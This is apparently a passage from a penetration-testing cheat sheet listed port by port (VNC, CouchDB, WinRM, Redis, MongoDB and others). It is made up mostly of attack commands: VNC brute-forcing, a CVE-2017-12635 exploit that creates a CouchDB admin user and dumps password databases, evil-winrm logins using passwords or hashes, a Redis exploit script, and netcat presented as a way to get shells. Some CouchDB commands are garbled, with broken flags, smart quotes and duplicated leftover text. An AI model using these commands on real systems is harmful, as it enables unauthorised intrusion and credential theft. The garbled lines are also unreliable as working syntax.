nmap --script=vnc-info,vnc-brute,vnc-title -p 5900 10.11.1.111
Port 5984 - CouchDB
curl http://example.com:5984/
curl -X GET http://IP:5984/_all_dbs
curl -X GET http://user:password@IP:5984/_all_dbs
# CVE-2017-12635 RCE
# Create user
curl -X PUT ‘http://localhost:5984/_users/org.couchdb.user:chenny' — data-binary ‘{ “type”: “user”, “name”: “chenny”, “roles”: [“_admin”], “roles”: [], “password”: “password” }’
# Dump database
curl http://127.0.0.1:5984/passwords/_all_docs?include_docs=true -u chenny:-Xpassword <ds/_all_docs?include_docs=true -u chenny:-Xpassword
# Dump passwords
curl -X GET http://user:passwords@localhost:5984/passwords
Port 5985 - WinRM
# https://github.com/Hackplayers/evil-winrm
gem install evil-winrm
evil-winrm -i 10.11.1.111 -u Administrator -p 'password1'
evil-winrm -i 10.11.1.111 -u Administrator -H 'hash-pass' -s /scripts/folder
Port 6379 - Redis
# https://github.com/Avinash-acid/Redis-Server-Exploit
python redis.py 10.10.10.160 redis
Port 8172 - MsDeploy
# Microsoft IIS Deploy port
IP:8172/msdeploy.axd
Port 5601/9200
ELK
Port 27017-19/27080/28017 - MongoDB
MongoDB
Unknown ports
amap -d 10.11.1.111 8000- netcat: makes connections to ports. Can echo strings or give shells:
nc -nv 10.11.1.111 110
- sfuzz: can connect to ports, udp or tcp, refrain from closing a connection, using basic HTTP configurations
RCE ports
